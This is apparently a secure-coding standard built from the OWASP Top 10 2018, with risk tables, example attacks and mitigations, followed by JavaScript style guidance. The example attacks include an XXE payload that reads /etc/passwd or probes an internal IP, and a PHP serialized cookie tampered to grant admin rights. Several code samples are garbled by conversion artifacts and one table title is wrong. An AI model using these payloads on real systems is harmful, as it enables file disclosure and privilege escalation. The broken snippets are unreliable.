Using a proxy, browse your application with a privileged role. Then revisit restricted pages using a less privileged role. If the server responses are alike, you're probably vulnerable. Some testing proxies directly support this type of analysis.

You can also check the access control implementation in the code. Try following a single privileged request through the code and verifying the authorization pattern. Then search the codebase to find where that pattern is not being followed.

Automated tools are unlikely to find these problems.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability EASY	Prevalence COMMON	Detectability AVERAGE	Impact MODERATE	Application / Business Specific
Anyone with network access can send your application a request. Could anonymous users access private functionality or regular users a privileged function?	Attacker, who is an authorized system user, simply changes the URL or a parameter to a privileged function. Is access granted? Anonymous users could access private functions that aren't protected.	Applications do not always protect application functions properly. Sometimes, function level protection is managed via configuration, and the system is misconfigured. Sometimes, developers must include the proper code checks, and they forget. Detecting such flaws is easy. The hardest part is identifying which pages (URLs) or functions exist to attack.		Such flaws allow attackers to access unauthorized functionality. Administrative functions are key targets for this type of attack.	Consider the business value of the exposed functions and the data they process. Also consider the impact to your reputation if this vulnerability became public.

Table 11: Missing Function Level Access Control Risk (OWASP Foundation, 2017)

Example Attack

Scenario #1: The attacker simply forces browses to target URLs. The following URLs require authentication. Admin rights are also required for access to the `admin_getappInfopage`.

```
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
```

If an unauthenticated user can access either page, that's a flaw. If an authenticated, non-admin, user is allowed to access the `admin_getappInfo` page, this is also a flaw, and may lead the attacker to more improperly protected admin pages.

Scenario #2: A page provides an 'action' parameter to specify the function being invoked, and different actions require different roles. If these roles aren't enforced, that's a flaw.

Mitigation

Your application should have a consistent and easy to analyze authorization module that is invoked from all your business functions. Frequently, such protection is provided by one or more components external to the application code.

- Think about the process for managing entitlements and ensure you can update and audit easily. Don't hard code.
- The enforcement mechanism(s) should deny all access by default, requiring explicit grants to specific roles for access to every function.
- If the function is involved in a workflow, check to make sure the conditions are in the proper state to allow access.

Note: Most web applications don't display links and buttons to unauthorized functions, but this "presentation layer access control" doesn't provide protection. You must also implement checks in the controller or business logic.

Using Components with Known Vulnerabilities

Components, such as libraries, frameworks, and other software modules, run with the same privileges as the application. If a vulnerable component is exploited, such an attack can facilitate serious data loss or server takeover. Applications and APIs using components with known vulnerabilities may undermine application defenses and enable various attacks and impacts.

You are likely vulnerable:

- If you do not know the versions of all components you use (both client-side and server-side). This includes components you directly use as well as nested dependencies;
- If software is vulnerable, unsupported, or out of date. This includes the OS, web/application server, database management system (DBMS), applications, APIs and all components, runtime environments, and libraries;
- If you do not scan for vulnerabilities regularly and subscribe to security bulletins related to the components you use;
- If you do not fix or upgrade the underlying platform, frameworks, and dependencies in a risk-based, timely fashion. This commonly happens in environments when patching is a monthly or quarterly task under change control, which leaves organizations open to many days or months of unnecessary exposure to fixed vulnerabilities;
- If software developers do not test the compatibility of updated, upgraded, or patched libraries; or,
- If you do not secure the components' configurations.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence WIDESPREAD	Detectability AVERAGE	Impact MODERATE	Application / Business Specific
While it is easy to find already-written exploits for many known vulnerabilities, other vulnerabilities require concentrated effort to develop a custom exploit.		Prevalence of this issue is very widespread. Component-heavy development patterns can lead to development teams not even understanding which components they use in their application or API, much less keeping them up to date. Some scanners such as retire.js help in detection, but determining exploitability requires additional effort.		While some known vulnerabilities lead to only minor impacts, some of the largest breaches to date have relied on exploiting known vulnerabilities in components. Depending on the assets you are protecting, perhaps this risk should be at the top of the list.	

Table 12: Using Components with Known Vulnerabilities Risk (OWASP Foundation, 2018)

Example Attack

Component vulnerabilities can cause almost any type of risk imaginable, ranging from the trivial to sophisticated malware designed to target a specific organization. Components almost always run with the full privilege of the application, so flaws in any component can be serious.

Mitigation

One option is not to use components that you didn't write. But that's not very realistic.

Most component projects do not create vulnerability patches for old versions. Instead, most simply fix the problem in the next version. So, upgrading to these new versions is critical. Software projects should have a process in place to:

- Identify all components and the versions you are using, including all dependencies;
- Monitor the security of these components in public databases, project mailing lists, and security mailing lists, and keep them up to date;
- Establish security policies governing component use, such as requiring certain software development practices, passing security tests, and acceptable licenses; and,
- Where appropriate, consider adding security wrappers around components to disable unused functionality and/ or secure weak or vulnerable aspects of the component.

There should be a patch management process in place to:

- Remove unused dependencies, unnecessary features, components, files, and documentation;
- Continuously inventory the versions of both client-side and server-side components (e.g. frameworks, libraries) and their dependencies using tools like versions, **DependencyCheck**, **retire.js**, etc.;
- Continuously monitor sources like **CVE** and **NVD** for vulnerabilities in the components. Use software composition analysis tools to automate the process. Subscribe to email alerts for security vulnerabilities related to components you use;
- Only obtain components from official sources over secure links. Prefer signed packages to reduce the chance of including a modified, malicious component; and,
- Monitor for libraries and components that are unmaintained or do not create security patches for older versions. If patching is not possible, consider deploying a virtual patch to monitor, detect, or protect against the discovered issue.

Every organization must ensure that there is an ongoing plan for monitoring, triaging, and applying updates or configuration changes for the lifetime of the application or portfolio.

Broken Authentication

Application functions related to authentication and session management are often implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to exploit other implementation flaws to assume other users' identities temporarily or permanently.

Confirmation of the user's identity, authentication, and session management are critical to protect against authentication-related attacks. There may be authentication weaknesses if the application:

- Permits automated attacks such as credential stuffing, where the attacker has a list of valid usernames and passwords;
- Permits brute force or other automated attacks;
- Permits default, weak, or well-known passwords, such as "Password1" or "admin/admin";
- Uses weak or ineffective credential recovery and forgot-password processes, such as "knowledge-based answers;
- Uses plain text, encrypted, or weakly hashed passwords;
- Has missing or ineffective multi-factor authentication;
- Exposes Session IDs in the URL (e.g., URL rewriting);
- Does not rotate Session IDs after successful login; or,
- Does not properly invalidate Session IDs. User sessions or authentication tokens (particularly single sign-on (SSO) tokens) aren't properly invalidated during logout or a period of inactivity.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability EASY	Prevalence COMMON	Detectability AVERAGE	Impact SEVERE	Application / Business Specific
Attackers have access to hundreds of millions of valid username and password combinations for credential stuffing, default administrative account lists, automated brute force, and dictionary attack tools. Session management attacks are well understood, particularly in relation to unexpired session tokens.		The prevalence of broken authentication is widespread due to the design and implementation of most identity and access controls. Session management is the bedrock of authentication and access controls and is present in all stateful applications. Attackers can detect broken authentication using manual means and exploit them using automated tools with password lists and dictionary attacks.		Attackers must gain access to only a few accounts, or just one admin account to compromise the system. Depending on the domain of the application, this may allow money laundering, social security fraud, and identity theft, or disclose legally protected highly sensitive information.	

Table 13: Broken Authentication Risk (OWASP Foundation, 2018)

Example Attack

Scenario #1: Credential stuffing, the use of lists of known passwords, is a common attack. If an application does not implement automated threat or credential stuffing protections, the application can be used as a password oracle to determine if the credentials are valid.

Scenario #2: Most authentication attacks occur due to the continued use of passwords as a sole factor. Once considered best practices, password rotation and complexity requirements are viewed as encouraging users to use, and reuse, weak passwords. Organizations are recommended to stop these practices per NIST 800-63 and use multi-factor authentication.

Scenario #3: Application session timeouts aren't set properly. A user uses a public computer to access an application. Instead of selecting “logout” the user simply closes the browser tab and walks away. An attacker uses the same browser an hour later, and the user is still authenticated.

Mitigation

- Where possible, implement multi-factor authentication to prevent automated, credential stuffing, brute force, and stolen credential re-use attacks.
- Do not ship or deploy with any default credentials, particularly for admin users.
- Implement weak-password checks.
- Align password length, complexity and rotation policies with modern, evidence-based password policies and guidance.
- Ensure registration, credential recovery, and API pathways are hardened against account enumeration attacks by using the same messages for all outcomes.
- Limit or increasingly delay failed login attempts. Log all failures and alert administrators when credential stuffing, brute force, or other attacks are detected.
- Use a server-side, secure, built-in session manager that generates a new random session ID with high entropy after login. Session IDs should not be in the URL, be securely stored and invalidated after logout, idle, and absolute timeouts.

Sensitive Data Exposure

Many web applications and APIs do not properly protect sensitive data, such as financial, healthcare, and PII. Attackers may steal or modify such weakly protected data to conduct credit card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection, such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.

The first thing is to determine the protection needs of data in transit and at rest. For example, passwords, credit card numbers, health records, personal information and business secrets require extra protection, particularly if that data falls under privacy laws, e.g. EU's General Data Protection Regulation (GDPR), or regulations, e.g. financial data protection such as PCI Data Security Standard (PCI-DSS). For all such data:

- Is any data transmitted in clear text? This concerns protocols such as HTTP, SMTP, and FTP. External internet traffic is especially dangerous. Verify all internal traffic e.g. between load balancers, web servers, or back-end systems.
- Are any old or weak cryptographic algorithms used either by default or in older code?
- Are default crypto keys in use, weak crypto keys generated or re-used, or is proper key management or rotation missing?
- Is encryption not enforced, e.g. are any user agent (browser) security directives or headers missing?
- Does the user agent (e.g. app, mail client) not verify if the received server certificate is valid?

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability DIFFICULT	Prevalence COMMON	Detectability AVERAGE	Impact SEVERE	Application / Business Specific
Rather than directly attacking crypto, attackers steal keys, execute man-in-the-middle attacks, or steal clear text data off the server, while in transit, or from the user's client, e.g. browser. A manual attack is generally required. Previously retrieved password databases could be brute forced by Graphics Processing Units (GPUs).		In recent years, this has been the most common impactful attack. The most common flaw is simply not encrypting sensitive data. When crypto is employed, weak key generation and management, and weak algorithm, protocol and cipher usage is common, particularly for weak password hashing storage techniques. For data in transit, server-side weaknesses are mainly easy to detect, but hard for data at rest.		Failure frequently compromises all data that should have been protected. Typically, this information includes sensitive personal information (PII) data such as health records, credentials, personal data, and credit cards, which often require protection as defined by laws or regulations such as the EU-GDPR or local privacy laws.	

Table 14: Sensitive Data Exposure Risk (OWASP Foundation, 2018)

Example Attack

Scenario #1: An application encrypts credit card numbers in a database using automatic database encryption. However, this data is automatically decrypted when retrieved, allowing an SQL injection flaw to retrieve credit card numbers in clear text.

Scenario #2: A site doesn't use or enforce TLS for all pages or supports weak encryption. An attacker monitors network traffic (e.g. at an insecure wireless network), downgrades connections from HTTPS to HTTP, intercepts requests, and steals the user's session cookie. The attacker then replays this cookie and hijacks the user's (authenticated) session, accessing or modifying the user's private data. Instead of the above they could alter all transported data, e.g. the recipient of a money transfer.

Scenario #3: The password database uses unsalted or simple hashes to store everyone's passwords. A file upload flaw allows an attacker to retrieve the password database. All the unsalted hashes can be exposed with a rainbow table of pre-calculated hashes. Hashes generated by simple or fast hash functions may be cracked by GPUs, even if they were salted.

Mitigation

- Classify data processed, stored or transmitted by an application. Identify which data is sensitive according to privacy laws, regulatory requirements, or business needs.
- Apply controls as per the classification.
- Don't store sensitive data unnecessarily. Discard it as soon as possible or use PCI DSS compliant tokenization or even truncation. Data that is not retained cannot be stolen.
- Make sure to encrypt all sensitive data at rest.
- Ensure up-to-date and strong standard algorithms, protocols, and keys are in place; use proper key management.
- Encrypt all data in transit with secure protocols such as TLS with perfect forward secrecy (PFS) ciphers, cipher prioritization by the server, and secure parameters. Enforce encryption using directives like HTTP Strict Transport Security (HSTS).
- Disable caching for response that contain sensitive data.
- Store passwords using strong adaptive and salted hashing functions with a work factor (delay factor), such as Argon2, scrypt, bcrypt or PBKDF2.
- Verify independently the effectiveness of configuration and settings.

Consider consulting the following OWASP's HSTS and Password Cheat sheets for further guidance.

XML External Entities (XXE)

Many older or poorly configured XML processors evaluate external entity references within XML documents. External entities can be used to disclose internal files using the file URI handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.

Applications and XML-based web services or downstream integrations might be vulnerable to attack if:

- The application accepts XML directly or XML uploads, especially from untrusted sources, or inserts untrusted data into XML documents, which is then parsed by an XML processor;
- Any of the XML processors in the application or SOAP based web services has document type definitions (DTDs) enabled;
- If the application uses SAML for identity processing within federated security or single sign on (SSO) purposes. SAML uses XML for identity assertions, and may be vulnerable; and,
- If the application uses SOAP prior to version 1.2, it is likely susceptible to XXE attacks if XML entities are being passed to the SOAP framework.

Being vulnerable to XXE attacks likely means that the application is vulnerable to denial of service attacks.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence COMMON	Detectability EASY	Impact SEVERE	Application / Business Specific
Attackers can exploit vulnerable XML processors if they can upload XML or include hostile content in an XML document, exploiting vulnerable code, dependencies or integrations.		By default, many older XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. Static Application Security Testing (SAST) tools can discover this issue by inspecting dependencies and configuration. Dynamic Application Security Testing (DAST) tools require additional manual steps to detect and exploit this issue.		These flaws can be used to extract data, execute a remote request from the server, scan internal systems, perform a denial-of-service attack, as well as execute other attacks. The business impact depends on the protection needs of all affected application and data.	

Table 15: XML External Entities (XXE) Risk (OWASP Foundation, 2018)

Example Attack

Scenario #1: The attacker attempts to extract data from the server:

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```

Scenario #2: An attacker probes the server's private network by changing the above ENTITY line to:

```
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
```

Scenario #3: An attacker attempts a denial-of-service attack by including a potentially endless file:

```
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
```

Mitigation

Developer training is essential to identify and mitigate XXE. Besides that, preventing XXE requires:

- Whenever possible, use less complex data formats such as JSON, and avoiding serialization of sensitive data.
- Patch or upgrade all XML processors and libraries in use by the application or on the underlying operating system. Use dependency checkers. Update SOAP to SOAP 1.2 or higher.
- Disable XML external entity and DTD processing in all XML parsers in the application
- Implement positive ("whitelisting") server-side input validation, filtering, or sanitization to prevent hostile data within XML documents, headers, or nodes.
- Verify that XML or XSL file upload functionality validates incoming XML using XSD validation or similar.
- SAST tools can help detect XXE in source code, although manual code review is the best alternative in large, complex applications with many integrations.

If these controls are not possible, consider using virtual patching, API security gateways, or Web Application Firewalls (WAFs) to detect, monitor, and block XXE attacks.

Consider consulting the following OWASP's XXE Prevention Cheat sheet for further guidance.

Broken Access Control

Restrictions on what authenticated users *can* do are often not properly enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as access other users' accounts, view sensitive files, modify other users' data, change access rights, etc.

Access control enforces policy such that users cannot act outside of their intended permissions. Failures typically lead to unauthorized information disclosure, modification or destruction of all data, or performing a business function outside of the limits of the user. Common access control vulnerabilities include:

- Bypassing access control checks by modifying the URL, internal application state, or the HTML page, or simply using a custom API;
- Allowing the primary key to be changed to another's users record, permitting viewing or editing someone else's account;
- Elevation of privilege. Acting as a user without being logged in, or acting as an admin when logged in as a user;
- Metadata manipulation, such as replaying or tampering with a JSON Web Token (JWT) access control token or a cookie or hidden field manipulated to elevate privileges, or abusing JWT invalidation;
- CORS misconfiguration allows unauthorized API access; or,
- Force browsing to authenticated pages as an unauthenticated user or to privileged pages as a standard user. Accessing API with missing access controls for POST, PUT and DELETE.

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence COMMON	Detectability AVERAGE	Impact SEVERE	Application / Business Specific
Exploitation of access control is a core skill of attackers. SAST and DAST tools can detect the absence of access control but cannot verify if it is functional when it is present. Access control is detectable using manual means, or possibly through automation for the absence of access controls in certain frameworks.		Access control weaknesses are common due to the lack of automated detection, and lack of effective functional testing by application developers. Access control detection is not typically amenable to automated static or dynamic testing. Manual testing is the best way to detect missing or ineffective access control, including HTTP method (GET vs PUT, etc.), controller, direct object references, etc.		The technical impact is attackers acting as users or administrators, or users using privileged functions, or creating, accessing, updating or deleting every record. The business impact depends on the protection needs of the application and data.	

Table 16: XML External Entities (XXE) Risk (OWASP Foundation, 2018)

Example Attack

Scenario #1: The application uses unverified data in a SQL call that is accessing account information:

```
pstmt.setString(1, request.getParameter("acct"));
ResultSet results = pstmt.executeQuery( );
```

An attacker simply modifies the 'acct' parameter in the browser to send whatever account number they want. If not properly verified, the attacker can access any user's account.

```
http://example.com/app/accountInfo?acct=notmyacct
```

Scenario #2: An attacker simply forces browses to target URLs. Admin rights are required for access to the admin page.

```
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
```

If an unauthenticated user can access either page, it's a flaw. If a non-admin can access the admin page, this is a flaw.

Mitigation

Access control is only effective if enforced in trusted server-side code or server-less API, where the attacker cannot modify the access control check or metadata.

- Except for public resources, deny by default.
- Implement access control mechanisms once and re-use them throughout the application, including minimizing CORS usage.
- Model access controls should enforce record ownership, rather than accepting that the user can create, read, update, or delete any record.
- Unique application business limit requirements should be enforced by domain models.
- Disable web server directory listing and ensure file metadata (e.g. git) and backup files are not present within web roots.
- Log access control failures, alert admins when appropriate (e.g. repeated failures).
- Rate limit API and controller access to minimize the harm from automated attack tooling.
- JWT tokens should be invalidated on the server after logout.

Developers and QA staff should include functional access control unit and integration tests.

Insecure Deserialization

Insecure deserialization often leads to remote code execution. Even if deserialization flaws do not result in remote code execution, they can be used to perform attacks, including replay attacks, injection attacks, and privilege escalation attacks.

Applications and APIs will be vulnerable if they deserialize hostile or tampered objects supplied by an attacker. This can result in two primary types of attacks:

- Object and data structure related attacks where the attacker modifies application logic or achieves arbitrary remote code execution if there are classes available to the application that can change behavior during or after deserialization.
- Typical data tampering attacks such as access-control-related attacks where existing data structures are used but the content is changed.

Serialization may be used in applications for:

- Remote- and inter-process communication (RPC/IPC)
- Wire protocols, web services, message brokers
- Caching/Persistence
- Databases, cache servers, file systems
- HTTP cookies, HTML form parameters, API authentication tokens

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability DIFFICULT	Prevalence COMMON	Detectability AVERAGE	Impact SEVERE	Application / Business Specific
Exploitation of deserialization is somewhat difficult, as off the shelf exploits rarely work without changes or tweaks to the underlying exploit code.		Some tools can discover deserialization flaws, but human assistance is frequently needed to validate the problem. It is expected that prevalence data for deserialization flaws will increase as tooling is developed to help identify and address it.		The impact of deserialization flaws cannot be overstated. These flaws can lead to remote code execution attacks, one of the most serious attacks possible. The business impact depends on the protection needs of the application and data.	

Table 17: Insecure Deserialization Risk (OWASP Foundation, 2018)

Example Attack

Scenario #1: A React application calls a set of Spring Boot microservices. Being functional programmers, they tried to ensure that their code is immutable. The solution they came up with is serializing user state and passing it back and forth with each request. An attacker notices the "R00" Java object signature and uses the Java Serial Killer tool to gain remote code execution on the application server.

Scenario #2: A PHP forum uses PHP object serialization to save a "super" cookie, containing the user's user ID, role, password hash, and other state:

```
a:4:
{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
```

An attacker changes the serialized object to give themselves admin privileges:

```
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";
i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
```

Mitigation

The only safe architectural pattern is not to accept serialized objects from untrusted sources or to use serialization mediums that only permit primitive data types. If that is not possible, consider one of more of the following:

- Implementing integrity checks such as digital signatures on any serialized objects to prevent hostile object creation or data tampering.
- Enforcing strict type constraints during deserialization before object creation as the code typically expects a definable set of classes. Bypasses to this technique have been demonstrated, so reliance solely on this is not advisable.
- Isolating and running code that deserializes in low privilege environments when possible.
- Log deserialization exceptions and failures, such as where the incoming type is not the expected type, or the deserialization throws exceptions.
- Restricting or monitoring incoming and outgoing network connectivity from containers or servers that deserialize.
- Monitoring deserialization, alerting if a user deserializes constantly.

Insufficient Logging and Monitoring

Insufficient logging and monitoring, coupled with missing or ineffective integration with incident response, allows attackers to further attack systems, maintain persistence, pivot to more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is over 200 days, typically detected by external parties rather than internal processes or monitoring

Insufficient logging, detection, monitoring and active response occurs any time:

- Auditable events, such as logins, failed logins, and high-value transactions are not logged.
- Warnings and errors generate no, inadequate, or unclear log messages.
- Logs of applications and APIs are not monitored for suspicious activity.
- Logs are only stored locally.
- Appropriate alerting thresholds and response escalation processes are not in place or effective.
- Penetration testing and scans by Dynamic Application Security Testing (DAST) tools (such as OWASP ZAP) do not trigger alerts.
- The application is unable to detect, escalate, or alert for active attacks in real time or near real time.

You are also vulnerable to information leakage if you make logging and alerting events visible to a user or an attacker

Threat Agents	Attack Vectors	Security Weakness		Technical Impacts	Business Impacts
Application Specific	Exploitability AVERAGE	Prevalence WIDESPREAD	Detectability DIFFICULT	Impact MODERATE	Application / Business Specific
Exploitation of insufficient logging and monitoring is the bedrock of nearly every major incident. Attackers rely on the lack of monitoring and timely response to achieve their goals without being detected.		One strategy for determining if you have sufficient monitoring is to examine the logs following penetration testing. The testers' actions should be recorded sufficiently to understand what damages they may have inflicted.		Most successful attacks start with vulnerability probing. Allowing such probes to continue can raise the likelihood of successful exploit to nearly 100%.	

Table 18: Insufficient Logging and Monitoring Risk (OWASP, 2018)

Example Attack

Scenario #1: An open source project forum software run by a small team was hacked using a flaw in its software. The attackers managed to wipe out the internal source code repository containing the next version, and all the forum contents. Although source could be recovered, the lack of monitoring, logging or alerting led to a far worse breach. The forum software project is no longer active because of this issue.

Scenario #2: An attacker uses scans for users using a common password. They can take over all accounts using this password. For all other users, this scan leaves only one false login behind. After some days, this may be repeated with a different password.

Scenario #3: A major US retailer reportedly had an internal malware analysis sandbox analyzing attachments. The sandbox software had detected potentially unwanted software, but no one responded to this detection. The sandbox had been producing warnings for some time before the breach was detected due to fraudulent card transactions by an external bank.

Mitigation

As per the risk of the data stored or processed by the application:

- Ensure all login, access control failures, and server-side input validation failures can be logged with sufficient user context to identify suspicious or malicious accounts and held for sufficient time to allow delayed forensic analysis.
- Ensure that logs are generated in a format that can be easily consumed by centralized log management solutions.
- Ensure high-value transactions have an audit trail with integrity controls to prevent tampering or deletion, such as append-only database tables or similar.
- Establish effective monitoring and alerting such that suspicious activities are detected and responded to in a timely fashion.
- Establish or adopt an incident response and recovery plan, such as NIST 800-61 rev 2 or later.

There are commercial and open source application protection frameworks such as OWASP AppSensor, web application firewalls such as ModSecurity with the OWASP ModSecurity Core Rule Set, and log correlation software with custom dashboards and alerting.

JavaScript General Direction

The objective of this direction is to provide coders with some guidance on avoiding common JavaScript insecure practices, as well giving guidance on secure language construction. JavaScript used on the client side is the focus of this secure coding standard. The use of third-party modules (widgets, embedded code, libraries, etc.) can lead to vulnerabilities that can be actively exploited.

Files

JavaScript files should have the .js file extension. While browsers do not require this extension, it helps other developers understand how an application's components fit together.

Developers may 'minify' or compress JavaScript files for performance reasons but should not employ additional obfuscation techniques unless required by the project. As a rule, confidential information should not appear in JavaScript files because they are text documents processed on the client's computer and therefore insecure.
While not required, organization of JavaScript files into a separate directory also helps other developers find application components quickly.

Functions

- Try to keep function objective simple and use one function to perform one task only
- Give meaningful names to functions
- Argument lists should be concise for a function
- Organize functions in the file according to step down the rule, higher level functions at the top and lower levels further down.

External Files vs. Inline Code

Whenever possible, move large amounts of inline JavaScript to external files for maintainability and to take advantage of browser caching. Place all references to external files as well as inline code in the <HEAD> section of the document.

```
<script src="webjslint.js"></script>
```

Keep JavaScript unobtrusive by adding calls to previously defined functions using DOM methods. As often as possible, use advanced event registration methods over

```
window.onload.function doSomething() {
}
```

```
function doSomethingElse() {
}
window.onload = doSomething;
// window.onload = doSomethingElse; this would overwrite call to doSomething
// instead use
window.onload = function () {
doSomething();
doSomethingElse();
}

// or create a reusable function
// most libraries include an event handler
function addEvent(obj, evType, fn) {
if (obj.addEventListener)
Unknown macro: { obj.addEventListener(evType, fn, false); return true; }
else if (obj.attachEvent)
Unknown macro: { // used in IE return obj.attachEvent("on" + evType, fn); }
else
Unknown macro: { // IE for Mac will not work return false; }
}
addEvent(window, 'load', doSomething);
addEvent(window, 'load', doSomethingElse);
```

Dynamic vs. Static Code

Avoid using another programming language to write JavaScript inline code. Untested conditions in the application can produce failed or invalid JavaScript. Eliminating this practice increases the potential for code reuse and reduces time spent testing and troubleshooting JavaScript.

Syntax

Developers and code approvers can use JSLint with the following settings to assist in the code review process:

- Strict white space (4 spaces)
- Allow one var statement per function
- Disallow undefined variables
- Disallow dangling _ in identifiers
- Disallow == and !=
- Disallow bitwise operators
- Disallow insecure . and [^…] in /RegExp/
- Require “use strict”; (used in full file review)
- Require Initial Caps for constructors
- Require parenthesis around immediate invocations

Or use quick configuration with the following string:

```
jslint white: true, onevar: true, undef: true, nomen: true, eqeqeq:
true, bitwise: true, regexp: true, strict: true, newcap: true,
immed: true
```

White-space and Semi-colons

While we can often remove optional whitespace and end-of-line semi-colons from JavaScript to reduce file, developers must preserve whitespace and proper punctuation in all source code for readability. Only use a systematic method for removing whitespace in production files, such as:

- Dojo Shrinksafe
- JSMin
- Packer
- YUI Compressor

Comments

JavaScript uses the same comment syntax as Java. However, because the block comment character sequences (/*/) can appear in regular expressions, do not use them for inline code or outside of formal documentation sections.

Instead, use the single-line comment (//)./

do not use inline

*/
// ok to use anywhere

Comment blocks (with the additional beginning *) should appear in external JavaScript files as documentation:

```
/**
Returns a guid associated with an object. If the object
does not have one, a new one is created unless readOnly
is specified.
*
@method stamp
@param o The object to stamp
@param readOnly
Unknown macro: {boolean}
if true, a valid guid will only be returned if the object has one assigned to it.
@return
Unknown macro: {string}
The object's guid or null
*/
```

Code Blocks

Enclose code blocks between { } characters with the starting brace at the end of the first line and the ending brace by itself after the last line. Indent all statements within the code block.

```
"use strict";
function codeBlock() {
alert('inside a code block');
}
```

Line Length

Avoid lines over 80 characters long. Break up long lines of code after an operator to avoid copy/paste mistakes or parsing errors.

```
function longLine() {
var str = “This string will need to continue ” +
“on the next line.”,
obj = {
property: “one”,
innerObj:
Unknown macro: { property}
},
arr = [“one”, “two”, “three”,
“four”, “five”];
}
```

Patterns

There are many positive and negative behaviors that can be developed by programmers and developers and this standard outlines some of the positive and negative approaches to development to support the development of secure code, consistently and efficiently. Below are a few key behaviors that should be observed when developing code:

- Always comment your code
- Never mix spaces and tabs
- For consistency, use single quotes (‘) instead of double (”)
- Reduce the logic deployed to client-side scripts and utilize server-side resources to render objects where possible
- Minify scripts before deploying to the production. It makes code unreadable for users who may want to alter it.

This list, whilst generic and applicable to multiple languages, forms a starting point for the consideration of wider JavaScript development practices.

Object References and Dereferencing

JavaScript never copies objects, it only creates multiple references.
As a method of avoiding errors and freeing up environment memory, dispose of objects by setting all references to null after you no longer need them.

```
var oObject = new Object;
//do something with the object here
oObject = null;
```

To delete a property, make the property null instead of using the delete function

```
//Use this
Foo.prototype.dispose = function() {
  this.property_ = null;
};

//Instead of this
Foo.prototype.dispose = function() {
  delete this.property_;
};
```

It is inefficient to pass a string to SetInterval or SetTimeout Instead pass the function name

```
//Use this
setInterval(someFunction, 3000);

//Instead of this
setInterval(
"document.getElementById('container').innerHTML += 'My new number: ' + i", 3000
);
```

Names

Names are used for statements, variables, parameters, property names, operators, and labels.
Do not use the following words for names:

Abstract	do	if	new	this
Boolean	double	implement	null	throw
break	else	s	package	throws
byte	enum	import	private	transient
case	export	in	protected	true
catch	extends	Infinity	public	try
char	false	instanceo	return	typeof
class	final	f	short	undefined
const	finally	int	static	var
continue	float	interface	super	volatile
debugger	for	long	switch	void
default	function	NaN	synchroni	while
delete	goto	native	zed	with

Other identifiers to avoid include:

Argument	Boolean	decodeURI
encodeUR	escape	EvalError
Object	isNaN	ReferenceError
String	parseInt	unescape
Array	TypeError	decodeURIComponent
Error	Date	Function
isFinite	eval	Number
parseFloat	Math	RegExp
SyntaxError	RangeError	URIError

Variables must consist of a letter character followed by any combination of letters, numbers, or underscore. When possible, use camel notation (camel-case) to separate words:

```
var a_variable_name = “bad”;
var _variable_name = “bad”;
var aVariableName = “good”;
```

Constructors (functions which return an object and make use of the new operator) must start with a capital letter.

Variables

- Use global variables for datatypes, objects and functions as minimum as possible
- Variable names should be meaningful
- Always declare variables as strict mode does not allow undeclared variables
- For a long list of the same kind of variables use a comma instead of defining all variables separately

```
var String1 = "test String";
var String2 = "test String2";
var String3 = "test String3";
var String4 = "test String4";

//Above can be defined in a better was as

var String1 = "test String",
    String2 = "test String2",
    String3 = "test String3",
    String4 = "test String4";
```

Use a Namespace

Placing all your functions and variables into the global scope may cause unexpected behavior and is vulnerable to attack. For instance, consider the following example:

```
var cost = 5;
//...time goes by...
console.log(cost);
```

Imagine your surprise when the alert pops up and says "expensive" instead of 5. When you trace it down, you might find that a different piece of JavaScript somewhere else used a variable called cost to store text about cost for a different section of your application.

The solution is using namespacing. To create a namespace, declare a variable and then attach the properties and methods you want to it. The above code would be improved to look like this:

```
var MyNamespace = {};
MyNamespace.cost = 5;
//...time goes by...
console.log(MyNamespace.cost);
```

The resulting value would be 5, as expected. Now you only have one variable directly attached to the global context. The only way you should have a problem with naming conflicts now is if another application uses the same namespace as you. This problem will be much easier to diagnose since none of your code will work (all your methods and properties will be wiped out).

Declarations

Put all declaration on top of each script or function to keep the code cleaner

```
var firstName, lastName, price, discount, fullPrice;

// Use later
firstName = "John";
lastName = "Doe";

price = 19.90;
discount = 0.10;

fullPrice = price * 100 / discount;
```

It's good to initialize variables at the time of declaration

```
// Declare and initilise at the beginning
var name = "",
telephone = "",
rate = 0,
discount = 0,
total = 0,
firstArray = [],
firstObject = {};
```

Always declare Number, String and Boolean as primitives, not as objects

```
var x = "John";  //Yes
var y = new String("John");//No
```

Below are the examples of how to declare and initialize different types

```
var x1 = {};           // new object
var x2 = "";           // new primitive string
var x3 = 0;            // new primitive number
var x4 = false;        // new primitive boolean
var x5 = [];           // new array object
var x6 = /()/;         // new regexp object
var x7 = function(){}; // new function object
```

Declare Variables Outside of the For Statement

When executing lengthy "for" statements, don't make the engine work any harder than it must. For example:

Not recommended

```
for(var i = 0; i < someArray.length; i++) {
    var container = document.getElementById('container');
    container.innerHtml += 'my number: ' + i;
    console.log(i);
}
```

Recommended

```
var container = document.getElementById('container');
for(var i = 0, len = someArray.length; i < len;  i++) {
    container.innerHtml += 'my number: ' + i;
    console.log(i);
}
```

Declare All Variables First

